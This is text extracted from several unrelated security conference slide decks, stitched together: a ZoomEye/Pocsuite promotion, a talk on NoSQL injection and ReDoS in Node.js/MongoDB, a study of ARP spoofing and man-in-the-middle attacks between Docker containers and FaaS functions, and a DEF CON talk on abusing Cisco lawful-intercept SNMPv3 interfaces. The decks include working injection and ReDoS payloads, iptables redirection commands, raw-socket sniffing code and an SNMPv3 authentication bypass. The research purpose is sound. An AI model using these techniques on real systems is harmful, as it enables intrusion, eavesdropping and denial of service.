更多 ZoomEye 功能与奖励
ZoomEye 暗物质消除计划、 ZoomEye X计划、
Dork 提交奖励计划等
漏洞集市
100 万补贴,欢
迎大家到我们平
台进行提交漏洞、
PoC、兑换查看
等
Pocsuite
远程 PoC 框架,知道创宇安全研究团队发展的基石
基础 PoC 编写 SDK
自动化调用与测试
1
6
Pocsuite 视频
ZoomEye X
./zoomeye —dork
'app:openssl'
|
./sebug—vul
'openssl'
Pocsuite
开放我们的 PoC 标准,开
源我们的框架
更多 ZoomEye 功能与奖励
ZoomEye 暗物质消除计划、 ZoomEye X计划、
Dork 提交奖励计划等
漏洞集市
100 万补贴,欢
迎大家到我们平
台进行提交漏洞、
PoC、兑换查看
等
ZoomEye X
目标
Pocsuite
PoC
根据 ZoomEye Dork 获取对应目标
获取对应漏洞 PoC
Pocsuite
hacker@kcon:~#
./zoomeye —
dork 'app:openssl'
|
./sebug —vul
'openssl’
1
9
ZoomEye X 视频
我们将开放更多的能力
核心伙伴生态圈
构建核心伙伴生态圈,优
先开放我们的能力
期待你的加入
Fooying
谢谢大家 | pdf |
About me
o What I am not?
•
Formally Educated
•
Developer
•
Hacker
o What I am?
•
Interested
How I am about to spend your time?
o What is GoH?
o What's behind it?
o Not so wet T-Shirt contest
o Node.js potential risks
o Takeaways
Game of Hacks – An idea is born
using System;
using System.Security.Cryptography;
class Program
{
static void Main()
{
using (RNGCryptoServiceProvider rng = new
RNGCryptoServiceProvider())
{
// Buffer storage.
byte[] data = new byte[4];
// Ten iterations.
for (int i = 0; i < 10; i++)
{
// Fill buffer.
rng.GetBytes(data);
// Convert to int 32.
int value = BitConverter.ToInt32(data, 0);
Console.WriteLine(value);
}
// other Random Generation method
Random otherRandomGenerator = new Random();
double otherRandomNumber =
otherRandomGenerator.NextDouble();
Spot The
Vulnerability
CISO Concerns – Education and Awareness
(https://www.owasp.org/images/2/28/Owasp-ciso-report-2013-1.0.pdf
1+1=?
Launched on August
More than 100,000 games were played since
What was behind GoH?
Honeypot
o We assumed the game would be attacked
o We might as well learn from it
o Vulnerabilities were left exposed and patched along the
way
Let’s take a look at the game
GoH Architecture
Server
Client
Single Thread
Events handler
Code.DanYork.Com
Event Driven
12
Question
Answers
Code Snippet
60-Second
Timer
Question #
Score
Difficulty
Level
Game Entities
o Quiz questions
o Answers
o Score
o Timer
Get your Browsers ready!
Checkmarx@Defcon 23
Turn your mobile devices ON!
Go to: www.kahoot.it
Answered Question
o Initially users initiated app.sendAnswers multiple
times, until they got “Correct answer” response.
o This allowed malicious users to systematically locate
the correct answer – and to gain points over and over
for the same question.
o Solutions
•
“Question Already Answered” flag added
Timer
o GoH Version 1
•
Timer handled by client
•
User forced to go to next question when time ends
•
Client sends to server Answer + Time spent
o GoH 2
•
Time is now computed at the server with
minor traffic influence
o So what?
•
Players stopped timer by modifying JS code
Timer
o What else?
More Node.js points to remember
Architecture and MongoDB
db.products.insert( { item: "card", qty : 15 } )
db.products.insert( { name: “elephant", size: 1700 } )
db.products.insert
db.products.find
db.products.find()
- Find all of them
db.products.find( { qty: 15 })
- Find based on equality
db.products.find( { qty: { $gt: 25 } } ) - Find based on criteria
Data is inserted and stored as JSON
Queries as described using JSON
var obj;
obj.qty=15;
db.products.find(obj)
name = req.query.username;
pass = req.query.password;
db.users.find({username: name, password: pass});
…
If exists ….
Security – User Supplied Data
o Can you spot the vulnerabilities in the code?
o Fix:
20
WRONG!
name = req.query.username;
pass = req.query.password;
db.users.find({username: name, password: pass});
Security – User Supplied Data
21
o What if we use the following query:
db.users.find({username: {$gt, “a”},
password : {$gt, “a”}});
JSON-base SQL Injection
o Node.JS, being a JSON based language, can accept JSON
values for the .find method:
o A user can bypass it by sending
22
http://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb.html
http:///server/page?user[$gt]=a&pass[$gt]=a
db.users.find({username: username, password: password});
DEMO
http://localhost:49090/?user=hi&pass=bye
JSON Based SQL Injection
o You can use the following:
o Then
db.users.find({username: username});
bcrypt.compare(candidatePassword, password, cb);
WRONG!
JSON Based SQLi
o This can lead to Regular Expression Denial of Service through
the {“username”: {“$regex”: “……..}}
db.users.find({username: username});
Re-Dos Demo
http://localhost:49090/?user=admin&pass[$regex]=^(a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a
|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a
|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a
|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|
a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a
|a|a|a|a|a|a|a|a|a)(d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d
|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|
d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d)$
Some Key Takeaways
Gamification of education
• Knowledge is key to deliver secure code
• Students (of all ages) absorb and retain information better
• Anytime you have a chance to make learning a fun experience
you should do it
Using code
• Always validate the input length, structure and permitted
characters
• Each coding language has its own pitfalls
• Research and learn a language before you use it publicly.
• Remember - Node.js is highly sensitive to CPU-intensive tasks
Thank You
Questions?
[email protected]
@aashbel
Amit Ashbel | pdf |
Zhanlu Lab, Tencent Inc.
针对Docker容器网络的ARP欺骗
与中间人攻击
演讲人:王凯 Kame Wang
2019
关于我
• 王凯,Kame Wang;
• 腾讯安全湛泸实验室高级研究员;
• 中国科学院大学信息安全博士;
• 研究兴趣包括:云安全、移动安全、区块链、自动化漏洞挖掘。
PART 01
研究背景
目录
CONTENTS
PART 02
本地测试
PART 03
云端测试
PART 04
讨论与总结
01
02
03
04
•
Docker及其虚拟网络
•
ARP欺骗与中间人攻击
PART.01
研究背景
CLICK ADD RELATED TITLE TEXT, AND CLICK ADD RELATED TITLE
TEXT, CLICK ADD RELATED TITLE TEXT, CLICK ON ADD RELATED
TITLE WORDS.
容器技术简介
• 共享底层操作系统的进程间隔离技术
• 底层技术:Namespace、Cgroup …
• 优缺点 (vs 虚拟化技术):
ü 优点:低成本、高效率、易部署
ü 缺点:共享内核,隔离不充分
Docker容器网络
• 系统向Docker实例提供网络通信能力
① 宿主系统虚拟网桥 (bridge);
② 宿主系统创建一对虚拟网口;
③ 将虚拟网口分别添加到Docker实例和虚拟网桥.
ARP欺骗
• 网络通信基于IP地址 vs 网卡接受数据基于Mac地址
• ARP表:IP地址 -> MAC地址
• ARP查询与反馈
• ARP欺骗:ARP数据包真实性无法验证
/ # arp -a
? (172.17.0.4) at 02:42:ac:11:00:04 [ether] on eth0
? (172.17.0.2) at 02:42:ac:11:00:04 [ether] on eth0
? (172.17.0.1) at 02:42:fa:4f:be:25 [ether] on eth0
/ # arp -a
? (172.17.0.4) at 02:42:ac:11:00:04 [ether] on eth0
? (172.17.0.1) at 02:42:fa:4f:be:25 [ether] on eth0
中间人攻击
• 以ARP欺骗为基础可实现局域网内的中间人攻击
例:欺骗受害者,使其ARP缓存表中网关IP对应Mac地址遭到篡改。
• 中间人攻击的传统实现思路
使用原始套接字,在数据链路层进行数据帧的收发、监控和修改。
• 攻击场景举例
钓鱼攻击、会话劫持、Https中间人攻击……
在Docker容器网络里也是这样的吗?
•
测试环境搭建
•
ARP欺骗的实现方法及成功条件
•
中间人攻击的实现方法及成功条件
PART.02
本地测试
CLICK ADD RELATED TITLE TEXT, AND CLICK ADD RELATED TITLE
TEXT, CLICK ADD RELATED TITLE TEXT, CLICK ON ADD RELATED
TITLE WORDS.
本地测试环境的搭建
• 创建3个Docker容器实例 (Ubuntu映像):
① 正常服务(No.1),正常Http服务器;
② 受害者(No.2),向正常服务器发送Http请求;
③ 攻击者(No.3),进行ARP欺骗和中间人攻击。
• 中间人攻击PoC效果:
实现服务内容的篡改。
// 直接请求正常服务
/ # wget -O - 172.17.0.2
Connecting to 172.17.0.2 (172.17.0.2:80)
hello from NORMAL server.
// 直接请求攻击者的恶意服务
/ # wget -O - 172.17.0.4
Connecting to 172.17.0.4 (172.17.0.4:80)
hello from MIMA server.
基于设备 VS 基于Docker的攻击
Linux Kernel
Attacker
Process
Linux Kernel (Bridge)
Docker
Instance 1
Docker
Instance 2
Docker
Instance 3
ARP欺骗的实现方法
① 创建原始套接字:操控数据链路层数据。
② 构造数据帧头部:
目的Mac为受害者,源Mac为攻击者。
③ 构造ARP包数据(即数据帧内容):
目的IP为受害者IP,源IP为伪造目标(正常服务器)IP。
④ 重复发送上述恶意构造的数据包.
Linux Kernel
Attacker
Process
Linux Kernel (Bridge)
Docker
Instance
1
Docker
Instance
2
Docker
Instance
3
ARP欺骗的成功条件
•原始套接字的使用条件:
① UID:0 (i.e. Root)
② CAP_NET_RAW
•关于Root用户的权限限制:
ü Linux capabilities (2.2版本引入)
ü 粗粒度 -> 细粒度
ü /proc/{pid}/status or getcaps
{pid}
Linux Kernel
Attacker
Process
Linux Kernel (Bridge)
Docker
Instance
1
Docker
Instance
2
Docker
Instance
3
中间人攻击的方法与条件
Linux Kernel
Attacker
Process
Linux Kernel (Bridge)
Docker
Instance
1
Docker
Instance
2
Docker
Instance
3
方法1:修改IP地址
• 关键指令:
ifconfig eth0 172.17.0.2
• 成功条件:
① Root
② CAP_NET_ADMIN
方法2:添加子IP
• 关键指令:
ifconfig eth0 add 172.17.0.2
• 成功条件:
① Root
② CAP_NET_ADMIN
方法3:利用Netfilter实现NAT
• 关键指令:
iptables -t nat -A PREROUTING -d
172.17.0.2 -j DNAT --to 172.17.0.4
• 成功条件:
① Root ② CAP_NET_ADMIN
中间人攻击的方法与条件
Linux Kernel
Attacker
Process
Linux Kernel (Bridge)
Docker
Instance
1
Docker
Instance
2
Docker
Instance
3
方法4:原始套接字 + 网卡级混杂模式
• 关键代码:
sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
ifr.ifr_flags |= IFF_PROMISC;
ioctl(sock, SIOCSIFFLAGS, &ifr);
• 成功条件:Root + CAP_NET_RAW + CAP_NET_ADMIN
方法5:原始套接字 + 套接字级混杂模式
• 关键代码:
sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
mr.mr_type = PACKET_MR_PROMISC;
setsockopt(sock, SOL_PACKET, PACKET_ADD_MEMBERSHIP, &mr, mrsz);
• 成功条件:Root + CAP_NET_RAW
中间人攻击的方法与条件 -- 小结
方法
Root
NET_ADMIN
NET_RAW
修改IP
√
√
添加子IP
√
√
NAT转换IP
√
√
原始套接字 &
网卡混杂
√
√
√
原始套接字 &
套接字混杂
√
√
原始套接字 &
套接字混杂
√
√
Linux Kernel
Attacker
Process
Linux Kernel (Bridge)
Docker
Instance
1
Docker
Instance
2
Docker
Instance
3
*:本地测试环境中的权限查看(Ubuntu映像)
# ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 8 02:46 pts/0 00:00:00 /bin/bash
root 12 1 0 02:46 pts/0 00:00:00 ps -ef
# getpcaps 1
Capabilities for `1': =
cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,c
ap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+eip
不受控内核带来的小麻烦
• ICMP重定向消息影响不大;
• TCP转发机制会带来攻击者与正常服务器之前时间竞争。
• 混杂模式下的原始套接字是“并联”的,无法影响内核正常处理流程;
• 不受控内核判定No.168数据帧不应由本地接受,导致No.173-174发出。
Linux Kernel
Attacker
Process
Linux Kernel (Bridge)
Docker
Instance
1
Docker
Instance
2
Docker
Instance
3
小麻烦的解决方案
• 思路:阻断服务器向客户端发送响应数据的途径;
• 手段:针对正常Http服务的ARP欺骗。
实例1(服务器)上被毒化得ARP缓存:
中间人攻击Demo
实例2(客户端)上被毒化的ARP缓存与被篡改的Http响应:
•
被测云服务的选取
•
主流云厂商的测试
•
攻击PoC
PART.03
云端测试
CLICK ADD RELATED TITLE TEXT, AND CLICK ADD RELATED TITLE
TEXT, CLICK ADD RELATED TITLE TEXT, CLICK ON ADD RELATED
TITLE WORDS.
被测目标的选取
• 被测目标的选择原则:
ü 恶意攻击可以影响到其他用户的Docker容器;
≈ 不同用户的Docker实例运行于同一宿主机上。
• 常见云厂商Docker服务:
ü 单纯的Docker容器服务;
ü 基于K8S进行集群化部署的容器化服务程序。
• 不符合需求的原因:
ü Docker实例部署于用户自有云主机;
ü Docker实例内进程的UID与权限因用户配置而异。
• FaaS(Function as a Service, 函数服务):
ü 一种新型云服务场景;
ü 为用户函数提供云端执行服务,支持NodeJS、
Python等语言;
ü 基于Docker容器实现函数执行环境的隔离;
ü 不同用户函数的Docker实例可能共享宿主机。
主流云厂商的测试
NodeJS代码:
var cmd = “id; cat /proc/$$/task/$$/status | grep Cap”
var ret = execSync(cmd, {env: {"TERM": "linux"}}
平台名称
服务名称
腾讯云
无服务器云函数 SCF
阿里云
函数计算
华为云
函数工作流
百度云
函数计算 CFC
IBM
Cloud Functions
AWS
AWS Lambda
GCP
Cloud Functions
• 代码执行进程UID与权限信息:
• 常见风险防范手段:
ü UID ≠ 0;
ü Root用户无CAP_NET_RAW;
ü 极度受限的执行环境 (GCP)。
GCP
Cloud Functions
某云厂商FaaS平台攻击PoC
• 函数代码执行进程满足攻击条件:
ü UID == 0 & CAP_NET_RAW
权限。
• 真实云环境测试原则:
ü 不影响正常用户的使用;
ü 不对平台带来其他影响。
• 测试思路:attacker + victim均由我们控制.
ü fun_attacker:ARP欺骗攻击, 攻击目标是使victim认为
attacker的MAC地址为aa:bb:cc:dd:ee:ff;
ü fun_victim:通过fun_attacker的函数触发器, 触发攻击行为,
并在攻击完成之后对自己的ARP缓存进行检查、验证.
Before attack, check ARP records.
IP address HW type Flags HW address Mask Device
172.16.109.1 0x1 0x2 0a:58:ac:10:6d:01 * eth0
In one same network, recheck ARP records.
IP address HW type Flags HW address Mask Device
172.16.109.30 0x1 0x2 aa:bb:cc:dd:ee:ff * eth0
172.16.109.1 0x1 0x2 0a:58:ac:10:6d:01 * eth0
PART.04
讨论与总结
CLICK ADD RELATED TITLE TEXT, AND CLICK ADD RELATED TITLE
TEXT, CLICK ADD RELATED TITLE TEXT, CLICK ON ADD RELATED
TITLE WORDS.
讨论与总结
• FaaS上进一步攻击的思路拓展:
ü 信息窃取:基于数据包嗅探;
ü 网络探测:基于端口扫描、网络结构探测;
ü 关键设施攻击:如K8S的部分功能模块。
• FaaS架构的安全加固:
ü 基于微内核 or 虚拟机,隔离不同用户的Docker容器。
• Docker容器内实施ARP欺骗与中间人攻击的总结:
ü 能力受限:UID + Capbility;
ü 行为受限:IP Forward内核行为无法禁止;
ü 受害者功能网络化:云平台上的容器实例多依赖网络通信;
ü 节点生命周期更灵活:Docker实例灵活的调度机制。
谢谢观看
演讲人:王凯 (Kame Wang)
Email:[email protected] | pdf |
Exploiting Internet Surveillance Systems
Defcon 18, 2010
Decius
The “Great Debate”
How should the information infrastructure of the
future balance the individual’s desire for privacy
with the state’s interest in monitoring suspected
criminals?
Steve Jackson Games
Communications Assistance for Law Enforcement Act
Communications Assistance for Law Enforcement Act
– Passed in 1994
– Requires Telecommunications Companies to cooperate with the interception of
traffic on their networks by providing technical interfaces for that purpose
– Originally did not apply to “Information Services.”
In 2005 the FCC ruled that CALEA applies to broadband Internet providers
– The Cisco Architecture for Lawful Intercept pre-dated this ruling
– By 2005 Some European countries already required these interfaces for Internet
networks
– Providers may voluntarily create these interfaces even when not required to
• The provider is going to have to grant access to the communications somehow
• A well defined interface makes wiretapping less disruptive to network operations
IETF Policy on Wiretapping (RFC 2804)
The IETF will not consider requirements for wiretapping in protocol designs
– The IETF is an international body and can’t address the laws of every country
– Wiretapping the Internet is either easy or its impossible
• RFC 1984 – Development of the Internet requires wide availability of strong
cryptographic technology
– The Internet should be free from security loopholes
• Adding a requirement for wiretapping makes protocols more complex
– Complexity begets vulnerability
• The interfaces that provide wiretap access could be used with authorization
– “On the other hand,” wiretapping technologies should be openly described
• “The IETF believes that the publication of such mechanisms, and the
publication of known weaknesses in such mechanisms, is a Good Thing.”
• In keeping with this philosophy, Cisco and the IETF published RFC 3924 –
The Cisco Architecture for Lawful Intercept in IP networks
The Cisco Architecture for Lawful Intercept
The Cisco Architecture for Lawful Intercept in IP networks
–
Based on the Lawful Intercept architecture defined by the European
Telecommunications Standards Institute (ETSI)
–
An SNMPv3 interface that provides the ability to wiretap IP networks
–
Described in RFC 3924 and some Internet Drafts
–
Publish in 2003/2004
–
Implemented in edge router and switch models
•
7600/10000/12000/AS5000
–
A myriad of other companies support the same overall architecture for
Lawful Intercept
–
Different vendors may supply a service provider with various interoperable
components of the overall architecture for lawful intercept
The Cisco Architecture for Lawful Intercept: RFC 3924
Mediation Device Vendors
(many also make Intercept Access Points (IAPs))
Mediation device equipment suppliers include:
Aqsacom
ETI
Group 2000
Pine Digital Security
Verint
SS8
SUNTECH Intelligent Solutions
Utimaco
Accuris
ATIS systems
DigiVox
GTEN AG
NICE Systems
Teletron
Urmet Group
The Interception Request
CTapStreamIpEntry ::= SEQUENCE {
cTapStreamIpIndex Integer32,
cTapStreamIpInterface Integer32,
cTapStreamIpAddrType InetAddressType,
cTapStreamIpDestinationAddress InetAddress,
cTapStreamIpDestinationLength InetAddressPrefixLength,
cTapStreamIpSourceAddress InetAddress,
cTapStreamIpSourceLength InetAddressPrefixLength,
cTapStreamIpTosByte Integer32,
cTapStreamIpTosByteMask Integer32,
cTapStreamIpFlowId Integer32,
cTapStreamIpProtocol Integer32,
cTapStreamIpDestL4PortMin InetPortNumber,
cTapStreamIpDestL4PortMax InetPortNumber,
cTapStreamIpSourceL4PortMin InetPortNumber,
cTapStreamIpSourceL4PortMax InetPortNumber,
cTapStreamIpInterceptEnable TruthValue,
cTapStreamIpInterceptedPackets Counter32,
cTapStreamIpInterceptDrops Counter32,
cTapStreamIpStatus RowStatus }
The Interception Request
CTapMediationEntry ::= SEQUENCE {
cTapMediationContentId Integer32,
cTapMediationDestAddressType InetAddressType,
cTapMediationDestAddress InetAddress,
cTapMediationDestPort InetPortNumber,
cTapMediationSrcInterface InterfaceIndexOrZero,
cTapMediationRtcpPort InetPortNumber,
cTapMediationDscp Dscp,
cTapMediationDataType Integer32,
cTapMediationRetransmitType Integer32,
cTapMediationTimeout DateAndTime,
cTapMediationTransport INTEGER,
cTapMediationNotificationEnable TruthValue,
cTapMediationStatus RowStatus }
Security Concerns for Lawful Intercept
Preventing the subject from discovering the surveillance
Preventing the subject from manipulating the surveillance
– Transmitting information that was not collected
– Inducing the collection of information that was not transmitted
– The Eavesdropper’s Dilemma: What do you do with packets that have the
wrong checksum?
Protecting the interface from unauthorized use
– Preventing the provisioning of unauthorized wiretaps
– Preventing an authorized wiretap from collecting information outside the scope
of the authorization
Gaining Unauthorized Access
Service Provider
Management
Network
Service Provider
Network
Internet
Mediation
Device
Surveillance
Target
SNMP
Network
Monitor
IAP Edge
Router
Other
Customers
An example network…
Service Provider
Management
Network
Service Provider
Network
Internet
Mediation
Device
Surveillance
Target
SNMP
Network
Monitor
IAP Edge
Router
Other
Customers
This is how things are
supposed to work.
Service Provider
Management
Network
Service Provider
Network
Internet
Mediation
Device
Surveillance
Target
SNMP
Network
Monitor
IAP Edge
Router
Other
Customers
Attacker’s
Server
An Attack…
Unauthorized Interception Requests
-
Single, properly authenticated SNMPv3 packet accessing the TAP-MIB
1. The correct username and password are required
2. Attacker would need the correct SNMPv3 EngineID, EngineBoots, and EngineTime
values
-
These values are intended to prevent authenticated SNMPv3 messages from
being replayed
-
They can be obtained with a single unauthenticated transaction
-
They can be shared between clients
3. Attacker would need to be able to send a packet that the interface will receive
-
Packet filtering might interfere with this.
4. Encryption might prove to be an obstacle
CVE-2008-0960 – Bypassing Authentication
SNMPv3 Message Digests are the first 12 bytes of a cryptographic hash of the
message contents combined with a secret key, which is a combination of the
password and the EngineID of the SNMP service
The RFC says message digests that aren’t 12 bytes long should be thrown out
but many implementations didn’t.
The result of the local HMAC calculation is going to be greater than 12 bytes, so
many implementations performed this comparison operation:
memcmp( myHMACbuffer, packetHMACbuffer, packetHMAClength )
Attacker can send 256 messages with different 1-byte HMACs and one will be
accepted.
CVE-2008-0960 – Bypassing Authentication
Disclosed in June, 2008
Multiple Vendors impacted (Linux, Solaris, OSX, Juniper, and Cisco)
Some implementations were vulnerable for over 6 years
Most Cisco software that supports Lawful Intercept was not vulnerable
– IOS 12.3(7)XI before 12.3(7)XI8a
– 12.3(7)XI supports lawful intercept in 10000 Series Routers
Cisco 10000 series routers
– Edge router for broadband service providers
– Supports IP “VPNs”
Brute Forcing SNMPv3 Usernames and Passwords
usmMIBBasicGroup OBJECT-GROUP OBJECTS {
usmStatsUnsupportedSecLevels,
usmStatsNotInTimeWindows,
usmStatsUnknownUserNames,
usmStatsUnknownEngineIDs,
usmStatsWrongDigests,
usmStatsDecryptionErrors,
usmUserSpinLock,
usmUserSecurityName,
usmUserCloneFrom,
usmUserAuthProtocol,
usmUserAuthKeyChange,
usmUserOwnAuthKeyChange,
usmUserPrivProtocol,
usmUserPrivKeyChange,
usmUserOwnPrivKeyChange,
usmUserPublic,
usmUserStorageType,
usmUserStatus }
Lack of Audit Trails
Attacks on SNMPv3 authentication are noisy – it would be nice if you could monitor those
attacks using traps!
Cisco’s Configuration Guide for Lawful Intercept advises network administrators to enable
SNMP trap notifications
Cisco’s documentation implies that traps will be sent “for packets with an incorrect SHA/MD5
authentication key or for a packet that is outside the authoritative SNMP engine's window
(for example, outside configured access lists or time ranges).”
No IOS version I tested sent authentication failure traps for SNMPv3 messages with the
wrong username, password, or Engine values.
– Authentication failure traps were generated for SNMPv3 requests if they came from a
source IP address that was blocked by a group access list.
– Cisco determined that this behavior is as intended.
– CSCsz29235: The documentation for 'snmp-server enable traps snmp' command stated
that SNMPv3 authentication failure traps can be generated, which is incorrect. The
documentation has been updated to indicate that SNMPv3 authentication failure traps are
not generated.
TAP-MIB – The attacker can turn the audit trail off!
CTapMediationEntry ::= SEQUENCE {
cTapMediationContentId Integer32,
cTapMediationDestAddressType InetAddressType,
cTapMediationDestAddress InetAddress,
cTapMediationDestPort InetPortNumber,
cTapMediationSrcInterface InterfaceIndexOrZero,
cTapMediationRtcpPort InetPortNumber,
cTapMediationDscp Dscp,
cTapMediationDataType Integer32,
cTapMediationRetransmitType Integer32,
cTapMediationTimeout DateAndTime,
cTapMediationTransport INTEGER,
cTapMediationNotificationEnable TruthValue,
cTapMediationStatus RowStatus }
cTapMediationNotificationEnable OBJECT-TYPE
SYNTAX TruthValue
MAX-ACCESS read-create
STATUS current
DESCRIPTION
"This variable controls the generation of any notifications or
informs by the MIB agent for this table entry."
DEFVAL { true }
::= { cTapMediationEntry 12 }
The Audit Trail Problem exists in many architectures
The “Athens Affair”
– Described in IEEE Spectrum Article – July 2007
– So we’re clear, no Cisco equipment was involved in this incident
– Occurred in 2004/2005
– Malware was installed on Ericsson cellular telephone switches
• Used “rootkit” like techniques to hide from switch operators
• Was discovered by Ericsson staff while auditing a core dump to isolate a bug
– Cellphones of Greek government officials were monitored
• At least 100 subjects
• Included the Greek Prime Minister
– Malware used Lawful Intercept code in the phone switch
• According to the IEEE article, the interface for managing intercepts was separate from
the software that actually performed the intercepts
• The logs were kept in the management interface
• The separation of audit trails from the core functionality is a fundamental architectural
flaw in a lot of Lawful Intercept technology
Why is the audit trail problem a security issue?
Because allegations of misuse of the surveillance
system cannot be investigated.
What technology allows the user to turn
the logs off?
UNIX Shells?
DHCP Servers?
SMTP Servers?
HTTP Servers?
RADIUS Servers?
European Data Retention Policies
Directive on Mandatory Retention of Communications Traffic Data
– Enacted March 2006
– Requires service providers to retain for 6 months to 2 years
to trace and identify the source of a communication;
to trace and identify the destination of a communication;
to identify the date, time and duration of a communication;
to identify the type of communication;
to identify the communication device;
to identify the location of mobile communication equipment.
Your use of the network must be recorded and is
subject to investigation after the fact.
Their surveillance of the network must not be
recorded and cannot be audited.
What is up with that?
TAP-MIB – Flexibility of the Output Stream
CTapMediationEntry ::= SEQUENCE {
cTapMediationContentId Integer32,
cTapMediationDestAddressType InetAddressType,
cTapMediationDestAddress InetAddress,
cTapMediationDestPort InetPortNumber,
cTapMediationSrcInterface InterfaceIndexOrZero,
cTapMediationRtcpPort InetPortNumber,
cTapMediationDscp Dscp,
cTapMediationDataType Integer32,
cTapMediationRetransmitType Integer32,
cTapMediationTimeout DateAndTime,
cTapMediationTransport INTEGER,
cTapMediationNotificationEnable TruthValue,
cTapMediationStatus RowStatus }
cTapMediationTransport OBJECT-TYPE
SYNTAX INTEGER {
udp(1),
rtpNack(2),
tcp(3),
sctp(4)
}
MAX-ACCESS read-create
STATUS current
DESCRIPTION
"The protocol used in transferring intercepted data to the
Mediation Device. The following protocols may be supported:
udp: PacketCable udp format
rtpNack: RTP with Nack resilience
tcp: TCP with head of line blocking
sctp: SCTP with head of line blocking "
::= { cTapMediationEntry 11 }
Packet Spoofing and Access Lists
Full Out of Band management designs can limit access to SNMP
– Expensive
– SNMP connectivity is an indicator of network health
Many Service Providers use SNMPv3 “Infrastructure” Access Control Lists
The Interception Request is a single UDP packet – you could spoof it
– Obtaining or guessing the SNMPv3 “Engine” values is difficult but not
theoretically impossible
